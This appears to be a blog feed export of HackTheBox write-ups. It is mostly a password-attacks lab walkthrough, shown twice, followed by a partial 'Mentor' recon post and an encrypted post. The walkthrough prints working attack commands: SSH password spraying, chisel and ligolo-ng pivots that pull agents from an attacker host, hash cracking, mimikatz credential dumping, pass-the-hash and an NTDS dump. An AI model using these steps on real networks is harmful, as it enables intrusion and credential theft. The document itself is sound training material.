https://blog.ericturner.it/2026-07-09T01:18:39.694691-04:002026-07-08T09:30:00-04:002026-07-09T01:18:39.694691-04:00Eric Turnertag:blog.ericturner.it,2026-07-08:/2026/07/08/hackthebox-solidstate/

<p>This is the Skills Assessment for the Password Attacks Module. I figured it'd be a great part to document as it contains an initial user and four boxes as part of the network. A DMZ01 box, and 3 internal only boxes that require using DMZ01 as a jumpbox.</p> <h2 id="starting-information">Starting Information …</h2>

<p>This is the Skills Assessment for the Password Attacks Module. I figured it'd be a great part to document as it contains an initial user and four boxes as part of the network. A DMZ01 box, and 3 internal only boxes that require using DMZ01 as a jumpbox.</p> <h2 id="starting-information">Starting Information</h2> <table> <thead> <tr> <th>Host</th> <th>IP Address</th> </tr> </thead> <tbody> <tr> <td>DMZ01</td> <td><code>10.129.234.116</code> (External), <code>172.16.119.13</code> (Internal)</td> </tr> <tr> <td>JUMP01</td> <td><code>172.16.119.7</code></td> </tr> <tr> <td>FILE01</td> <td><code>172.16.119.10</code></td> </tr> <tr> <td>DC01</td> <td><code>172.16.119.11</code></td> </tr> </tbody> </table> <p>Additionally, we have the name <code>Betty Jayde</code> who works at <code>Nexura LLC</code> and is known for re-using the password <code>Texas123!@#</code> on multiple sites. It's likely it's being re-used for work. The goal is to priv-esc up to the domain admin account on DC01.</p> <h2 id="dmz01">DMZ01</h2> <p>An initial <code>nmap</code> scan reveals only port 22/tcp for OpenSSH 8.2p1 Ubuntu. We have a full name but are unsure of the username format that is in use. <a href="https://github.com/urbanadventurer/username-anarchy">Username Anarchy</a> is a good way to generate a wordlist for this.</p> <pre><code class="language-shell"># generate username list for various formats $ /opt/username-anarchy/username-anarchy betty jayde &gt; usernames.txt # brute force the list against the target $ hydra -L usernames.txt -p 'Texas123!@#' 10.129.234.116 ssh </code></pre> <p>It reveals the format is <code>lfirst</code> so <code>jbetty</code> in our case. Will be useful for discovering any additional usernames.</p> <p>Password reuse is confirmed and we gain ssh access on DMZ01. There's no <code>realm</code> or kerberos configuration. <code>winbind</code> is a running process. In our <code>.bash_history</code> file, there is a <code>sshpass -p "dealer-screwed-gym1" ssh hwilliam@file01</code>.</p> <p>My thoughts are to immediately make this a jumpbox for further enumeration.</p> <pre><code class="language-shell"># on attackbox, in tab 1 kali@kali$ sudo nano /etc/proxychains4.conf socks5 127.0.0.1 1080 kali@kali$ chisel server --reverse --socks5 # on attackbox, in tab 2 kali@kali$ cd /usr/bin kali@kali$ python -m http.server # in victim ssh jbetty@DMZ01$ wget http://10.10.10.10:8000/chisel jbetty@DMZ01$ chmod +x chisel jbetty@DMZ01$ ./chisel client 10.10.10.10:8080 R:socks </code></pre> <p>Unfortunately, it throws an error about missing libc. I saw a similar post online with recommendations for 1.7 or 1.5. I pulled down <a href="https://github.com/jpillora/chisel/releases?page=2#release-v1.5.2">v1.5.2 from GitHub</a> onto my attackbox and used the same version on the victim and both finally connected!</p> <p>I tried several variations of the following:</p> <pre><code class="language-shell">$ proxychains nmap -sT 172.16.119.7 172.16.119.10 172.16.119.11 </code></pre> <p>but everything returns filtered and doesn't seem to work. An alternative appears to be <code>ligolo-ng</code> that is more hands on during setup, but doesn't require configuring SOCKS5 proxies and essentially maps the target network like a VPN tunnel.</p> <pre><code class="language-shell"># install (if not already) kali@kali$ sudo apt install ligolo-ng # start proxy server kali@kali$ sudo ligolo-proxy -selfcert # in the tool, create an interface ligolo-ng &raquo; interface_create --name "ligolo" # on the victim machine, copy the ligolo-agent file over to victim via any method # I had to pull a slightly older v0.8.2 from github as this box didn't have the latest version of GLIBC # https://github.com/nicocha30/ligolo-ng/releases#release-v0.8.2 jbetty@DMZ01$ wget http://10.10.10.10:8000/ligolo-agent jbetty@DMZ01$ chmod +x ligolo-agent jbetty@DMZ01$ ./agent -connect 10.10.17.198:11601 --ignore-cert # back on the attackbox run session and hit enter to select ligolo-ng &raquo; session ? Specify a session : 1 -jbetty@DMZ01 ... # route the agent traffic to the ligolo interface, use arrows to select it [Agent : jbetty@DMZ01] &raquo; autoroute # in a new tab on the attackbox, run standard commands against the target IPs $ nmap -sTV --top-ports=2000 -oA internal_nmap 172.16.119.7 172.16.119.10 172.16.119.11 </code></pre> <p>Finally! After quite a bit of troubleshooting and even some connection drops, we get a response. All 3 of these boxes are Windows, which are to be expected. Now we can go back to the SSH creds we found and attempt them on FILE01</p> <h2 id="file01">FILE01</h2> <pre><code class="language-shell"># list shares $ nxc smb 172.16.119.10 -u 'hwilliam' -p 'dealer-screwed-gym1' --shares </code></pre> <p>We get a list of shares HR, PRIVATE, TRANSFER where we have R/W perms. There's also IT and MANAGEMENT which we do not appear to have perms. <code>nxc</code> also reveals the domain of <code>nexura.htb</code>.</p> <pre><code class="language-shell">$ smbclient -U 'hwilliam' --password='dealer-screwed-gym1' -W 'NEXURA.HTB' \\\\172.16.119.10\\HR </code></pre> <p>With <code>smbclient</code> we can connect to one of the shares. I found I needed to specify the domain and use <code>--password</code> and not <code>-P</code> for the connection to work. Inside <code>HR</code>, under Archive, there are Employee Roster and Employee-Passwords_OLD files. </p> <p>After pulling the <code>.psafe3</code> file, we can use hashcat to attempt to recover the password.</p> <pre><code class="language-shell">$ hashcat -m 5200 Employee-Passwords_OLD.psafe3 /usr/share/wordlists/rockyou.txt </code></pre> <p>Here, we get a match on <code>michaeljackson</code>. Using <code>sudo apt install passwordsafe</code>, we can install the tool and then <code>pwsafe</code> to open it. There are 2 other users, <code>bdavid:caramel-cigars-reply1</code> and <code>stom:fails-nibble-disturb4</code>.</p> <p>The other Employee named files appear to be garbage and don't actually have interesting info.</p> <p>I threw the IPs into a file and we can see if any of the creds are still valid.</p> <pre><code class="language-shell">$ cat hosts 172.16.119.7 172.16.119.10 172.16.119.11 $ nxc winrm hosts -u bdavid -p 'caramel-cigars-reply1' $ nxc winrm hosts -u stom -p 'fails-nibble-disturb4' $ nxc rdp hosts -u bdavid -p 'caramel-cigars-reply1' </code></pre> <p><code>bdavid</code> does work against <code>JUMP01</code> under winrm and rdp protocols.</p> <h2 id="jump01">JUMP01</h2> <pre><code class="language-shell">$ xfreerdp /v:172.16.119.7 /u:bdavid /p:caramel-cigars-reply1 </code></pre> <p>We are able to laterally move to JUMP01 with the credentials and get a GUI with <code>xfreerdp</code></p> <p>On the attackbox, I did the following to open a GUI window where mimikatz.exe was</p> <pre><code class="language-shell">$ windows-resources $ cd .. $ cd /mimikatz $ thunar . </code></pre> <p>We can simply copy paste the binary into the GUI. We are also able to spawn a Powershell.exe as Admin then spawn <code>.\mimikatz.exe</code></p> <pre><code class="language-powershell">&gt; .\mimikatz.exe mimikatz&gt; privilege::debug mimikatz&gt; sekurlsa::logonpasswords </code></pre> <p>We find the <code>ntlm</code> for <code>stom</code>, <code>21ea958524cfd9a7791737f8d2f764fa</code>. It also shows the kerberos password of <code>calves-warp-learning1</code>.</p> <p>Back on our attackbox, we can perform another spray but with <code>stom</code></p> <pre><code class="language-shell">$ nxc winrm hosts -u stom -H 21ea958524cfd9a7791737f8d2f764fa $ nxc rdp hosts -u stom -H 21ea958524cfd9a7791737f8d2f764fa </code></pre> <p>It returns that <code>stom</code> has admin to all 3 servers. We can use the smb module to dump the hash!</p> <pre><code class="language-shell">$ nxc smb 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764fa --ntds --user Administrator </code></pre> <h2 id="conclusion">Conclusion</h2> <p>This was a great final assessment of this very lengthy module of the academy! Some of the beginning with hashcat and john I had done before, but the AD attacks were new and helpful. It was nice learning a tool to pivot between multiple machines in the final assessment. I had used chisel before but not ligolo.</p>2026-07-08T09:30:00-04:002026-07-09T01:18:39.694691-04:00Eric Turnertag:blog.ericturner.it,2026-07-08:/2026/07/08/hackthebox-solidstate/

<p>This is the Skills Assessment for the Password Attacks Module. I figured it'd be a great part to document as it contains an initial user and four boxes as part of the network. A DMZ01 box, and 3 internal only boxes that require using DMZ01 as a jumpbox.</p> <h2 id="starting-information">Starting Information …</h2>

<p>This is the Skills Assessment for the Password Attacks Module. I figured it'd be a great part to document as it contains an initial user and four boxes as part of the network. A DMZ01 box, and 3 internal only boxes that require using DMZ01 as a jumpbox.</p> <h2 id="starting-information">Starting Information</h2> <table> <thead> <tr> <th>Host</th> <th>IP Address</th> </tr> </thead> <tbody> <tr> <td>DMZ01</td> <td><code>10.129.234.116</code> (External), <code>172.16.119.13</code> (Internal)</td> </tr> <tr> <td>JUMP01</td> <td><code>172.16.119.7</code></td> </tr> <tr> <td>FILE01</td> <td><code>172.16.119.10</code></td> </tr> <tr> <td>DC01</td> <td><code>172.16.119.11</code></td> </tr> </tbody> </table> <p>Additionally, we have the name <code>Betty Jayde</code> who works at <code>Nexura LLC</code> and is known for re-using the password <code>Texas123!@#</code> on multiple sites. It's likely it's being re-used for work. The goal is to priv-esc up to the domain admin account on DC01.</p> <h2 id="dmz01">DMZ01</h2> <p>An initial <code>nmap</code> scan reveals only port 22/tcp for OpenSSH 8.2p1 Ubuntu. We have a full name but are unsure of the username format that is in use. <a href="https://github.com/urbanadventurer/username-anarchy">Username Anarchy</a> is a good way to generate a wordlist for this.</p> <pre><code class="language-shell"># generate username list for various formats $ /opt/username-anarchy/username-anarchy betty jayde &gt; usernames.txt # brute force the list against the target $ hydra -L usernames.txt -p 'Texas123!@#' 10.129.234.116 ssh </code></pre> <p>It reveals the format is <code>lfirst</code> so <code>jbetty</code> in our case. Will be useful for discovering any additional usernames.</p> <p>Password reuse is confirmed and we gain ssh access on DMZ01. There's no <code>realm</code> or kerberos configuration. <code>winbind</code> is a running process. In our <code>.bash_history</code> file, there is a <code>sshpass -p "dealer-screwed-gym1" ssh hwilliam@file01</code>.</p> <p>My thoughts are to immediately make this a jumpbox for further enumeration.</p> <pre><code class="language-shell"># on attackbox, in tab 1 kali@kali$ sudo nano /etc/proxychains4.conf socks5 127.0.0.1 1080 kali@kali$ chisel server --reverse --socks5 # on attackbox, in tab 2 kali@kali$ cd /usr/bin kali@kali$ python -m http.server # in victim ssh jbetty@DMZ01$ wget http://10.10.10.10:8000/chisel jbetty@DMZ01$ chmod +x chisel jbetty@DMZ01$ ./chisel client 10.10.10.10:8080 R:socks </code></pre> <p>Unfortunately, it throws an error about missing libc. I saw a similar post online with recommendations for 1.7 or 1.5. I pulled down <a href="https://github.com/jpillora/chisel/releases?page=2#release-v1.5.2">v1.5.2 from GitHub</a> onto my attackbox and used the same version on the victim and both finally connected!</p> <p>I tried several variations of the following:</p> <pre><code class="language-shell">$ proxychains nmap -sT 172.16.119.7 172.16.119.10 172.16.119.11 </code></pre> <p>but everything returns filtered and doesn't seem to work. An alternative appears to be <code>ligolo-ng</code> that is more hands on during setup, but doesn't require configuring SOCKS5 proxies and essentially maps the target network like a VPN tunnel.</p> <pre><code class="language-shell"># install (if not already) kali@kali$ sudo apt install ligolo-ng # start proxy server kali@kali$ sudo ligolo-proxy -selfcert # in the tool, create an interface ligolo-ng &raquo; interface_create --name "ligolo" # on the victim machine, copy the ligolo-agent file over to victim via any method # I had to pull a slightly older v0.8.2 from github as this box didn't have the latest version of GLIBC # https://github.com/nicocha30/ligolo-ng/releases#release-v0.8.2 jbetty@DMZ01$ wget http://10.10.10.10:8000/ligolo-agent jbetty@DMZ01$ chmod +x ligolo-agent jbetty@DMZ01$ ./agent -connect 10.10.17.198:11601 --ignore-cert # back on the attackbox run session and hit enter to select ligolo-ng &raquo; session ? Specify a session : 1 -jbetty@DMZ01 ... # route the agent traffic to the ligolo interface, use arrows to select it [Agent : jbetty@DMZ01] &raquo; autoroute # in a new tab on the attackbox, run standard commands against the target IPs $ nmap -sTV --top-ports=2000 -oA internal_nmap 172.16.119.7 172.16.119.10 172.16.119.11 </code></pre> <p>Finally! After quite a bit of troubleshooting and even some connection drops, we get a response. All 3 of these boxes are Windows, which are to be expected. Now we can go back to the SSH creds we found and attempt them on FILE01</p> <h2 id="file01">FILE01</h2> <pre><code class="language-shell"># list shares $ nxc smb 172.16.119.10 -u 'hwilliam' -p 'dealer-screwed-gym1' --shares </code></pre> <p>We get a list of shares HR, PRIVATE, TRANSFER where we have R/W perms. There's also IT and MANAGEMENT which we do not appear to have perms. <code>nxc</code> also reveals the domain of <code>nexura.htb</code>.</p> <pre><code class="language-shell">$ smbclient -U 'hwilliam' --password='dealer-screwed-gym1' -W 'NEXURA.HTB' \\\\172.16.119.10\\HR </code></pre> <p>With <code>smbclient</code> we can connect to one of the shares. I found I needed to specify the domain and use <code>--password</code> and not <code>-P</code> for the connection to work. Inside <code>HR</code>, under Archive, there are Employee Roster and Employee-Passwords_OLD files. </p> <p>After pulling the <code>.psafe3</code> file, we can use hashcat to attempt to recover the password.</p> <pre><code class="language-shell">$ hashcat -m 5200 Employee-Passwords_OLD.psafe3 /usr/share/wordlists/rockyou.txt </code></pre> <p>Here, we get a match on <code>michaeljackson</code>. Using <code>sudo apt install passwordsafe</code>, we can install the tool and then <code>pwsafe</code> to open it. There are 2 other users, <code>bdavid:caramel-cigars-reply1</code> and <code>stom:fails-nibble-disturb4</code>.</p> <p>The other Employee named files appear to be garbage and don't actually have interesting info.</p> <p>I threw the IPs into a file and we can see if any of the creds are still valid.</p> <pre><code class="language-shell">$ cat hosts 172.16.119.7 172.16.119.10 172.16.119.11 $ nxc winrm hosts -u bdavid -p 'caramel-cigars-reply1' $ nxc winrm hosts -u stom -p 'fails-nibble-disturb4' $ nxc rdp hosts -u bdavid -p 'caramel-cigars-reply1' </code></pre> <p><code>bdavid</code> does work against <code>JUMP01</code> under winrm and rdp protocols.</p> <h2 id="jump01">JUMP01</h2> <pre><code class="language-shell">$ xfreerdp /v:172.16.119.7 /u:bdavid /p:caramel-cigars-reply1 </code></pre> <p>We are able to laterally move to JUMP01 with the credentials and get a GUI with <code>xfreerdp</code></p> <p>On the attackbox, I did the following to open a GUI window where mimikatz.exe was</p> <pre><code class="language-shell">$ windows-resources $ cd .. $ cd /mimikatz $ thunar . </code></pre> <p>We can simply copy paste the binary into the GUI. We are also able to spawn a Powershell.exe as Admin then spawn <code>.\mimikatz.exe</code></p> <pre><code class="language-powershell">&gt; .\mimikatz.exe mimikatz&gt; privilege::debug mimikatz&gt; sekurlsa::logonpasswords </code></pre> <p>We find the <code>ntlm</code> for <code>stom</code>, <code>21ea958524cfd9a7791737f8d2f764fa</code>. It also shows the kerberos password of <code>calves-warp-learning1</code>.</p> <p>Back on our attackbox, we can perform another spray but with <code>stom</code></p> <pre><code class="language-shell">$ nxc winrm hosts -u stom -H 21ea958524cfd9a7791737f8d2f764fa $ nxc rdp hosts -u stom -H 21ea958524cfd9a7791737f8d2f764fa </code></pre> <p>It returns that <code>stom</code> has admin to all 3 servers. We can use the smb module to dump the hash!</p> <pre><code class="language-shell">$ nxc smb 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764fa --ntds --user Administrator </code></pre> <h2 id="conclusion">Conclusion</h2> <p>This was a great final assessment of this very lengthy module of the academy! Some of the beginning with hashcat and john I had done before, but the AD attacks were new and helpful. It was nice learning a tool to pivot between multiple machines in the final assessment. I had used chisel before but not ligolo.</p>2026-06-23T20:38:00-04:002026-06-24T01:35:25.528093-04:00Eric Turnertag:blog.ericturner.it,2026-06-23:/2026/06/23/hackthebox-mentor/

<h2 id="machine-info">Machine Info</h2> <blockquote> <p>10.129.228.102 <a href="https://app.hackthebox.com/machines/Mentor">https://app.hackthebox.com/machines/Mentor</a></p> </blockquote> <h2 id="recon">Recon</h2> <pre><code class="language-shell">$ nmap -sSV -p- -oA init_nmap 10.129.228.102 Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-23 20:43 -0400 Nmap scan report for 10.129.228.102 Host is up (0.14s latency). Not shown …</code></pre>

<h2 id="machine-info">Machine Info</h2> <blockquote> <p>10.129.228.102 <a href="https://app.hackthebox.com/machines/Mentor">https://app.hackthebox.com/machines/Mentor</a></p> </blockquote> <h2 id="recon">Recon</h2> <pre><code class="language-shell">$ nmap -sSV -p- -oA init_nmap 10.129.228.102 Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-23 20:43 -0400 Nmap scan report for 10.129.228.102 Host is up (0.14s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel </code></pre> <p>We have a hostname to add to <code>/etc/hosts</code></p> <h3 id="80-http">80 http</h3> <p>There's nothing interesting on the website - no comments or other links.</p> <p>Using gobuster, I did a vhost scan. The first run showed every host returning 302 with varying content sizes based off the length of the url being attempted.</p> <pre><code class="language-shell">$ gobuster vhost -u http://mentorquotes.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -o gobuster_vhost.txt --exclude-length 290-330 ... api.mentorquotes.htb Status: 404 [Size: 22] ... </code></pre> <p>There is an API endpoint available that returns a different code. Adding this to /etc/hosts reveals a api only returning <code>{"detail":"Not Found"}</code>. There's a header of <code>Server: uvicorn</code>.</p> <pre><code class="language-shell">$ gobuster dir -u http://api.mentorquotes.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -o api-endpoints.txt docs (Status: 200) [Size: 969] openapi.json (Status: 200) [Size: 7676] Progress: 269 / 269 (100.00%) </code></pre> <p>This reveals endpoints for <code>/auth</code>, <code>/users</code> and <code>/quotes</code>. It also reveals an account, <code>james@mentorquotes.htb</code>. Using <code>james:james</code> on the auth API throws a 422 error stating it must be a minimum of 8 characters. Further testing reveals it maxes out at 50 characters</p>2026-06-20T08:44:00-04:002026-06-21T00:29:46.517585-04:00Eric Turnertag:blog.ericturner.it,2026-06-20:/2026/06/20/hackthebox-checkpoint/

Machine Info 10.129.16.253 https://app.hackthebox.com/machines/Checkpoint

<div class="pelican-callout pelican-callout-info"> <div class="pelican-callout-title"><i class="pelican-callout-icon fa-fw fa fa-circle-info"></i> Machine Info</div> <div class="pelican-callout-body"> <p>10.129.16.253 <a href="https://app.hackthebox.com/machines/Checkpoint">https://app.hackthebox.com/machines/Checkpoint</a></p> </div> </div> <p><div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">NEjXkYTNuFqKkdEiBs2UMg==;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